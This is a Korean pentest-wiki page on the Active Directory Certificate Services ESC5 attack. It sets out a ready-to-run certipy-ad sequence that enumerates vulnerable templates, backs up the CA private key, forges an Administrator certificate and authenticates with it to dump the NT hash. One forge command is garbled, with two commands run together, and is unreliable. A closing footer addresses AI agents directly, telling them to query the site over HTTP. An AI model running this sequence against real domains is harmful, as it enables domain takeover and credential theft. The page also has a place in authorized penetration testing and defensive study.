# ESC5

Certipy는 템플릿에 대해서 정보를 수집하고 공격 가능한 방법을 열거하는 도구기 때문에 도메인에 대한 ACL을 광범위하게 수집하는 정보 수집 도구(예 : BloodHound)를 사용했을 때 식별할 수 있습니다.

CA 서버에서 로컬 관리자 권한을 획득하면 CA 인증서와 개인 키를 발급받는 것이 가능합니다. CA의 개인키를 통해 Administrator의 인증서를 위조하여 서명하면 무결한 위조 인증서가 생성됩니다.

## Abuse

<pre class="language-bash" data-title="UNIX"><code class="lang-bash"><strong># 취약한 템플릿 열거
</strong>certipy-ad find -u '&#x3C;username>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -vulnerable -stdout -enabled

<strong># CA 서버 인증서 발급
</strong>certipy-ad ca -u '&#x3C;username@domain>' -p '&#x3C;password>' -dc-ip '&#x3C;dc-ip>' -target '&#x3C;ca-fqdn>' -config '&#x3C;ca-fqdn>' -backup

<strong># Administrator 인증서 발급
</strong>certipy-ad forge -ca-pfx CONTOSO-AD01-CA.pfx -upn Administrator@contoso.cocertipy-ad forge -ca-pfx '&#x3C;pfx>' -upn 'administrator@domain' -sid '&#x3C;sid>' -crl 'ldap:///'

<strong># 인증서로부터 nt해시 덤프
</strong>certipy-ad auth -pfx '&#x3C;pfx>' -dc-ip '&#x3C;dc-ip>'
</code></pre>

## References

{% embed url="<https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc5/>" %}

{% embed url="<https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation>" %}

{% embed url="<https://www.hackingarticles.in/ad-cs-esc5-vulnerable-pki-object-access-control/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/adcs/esc5.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
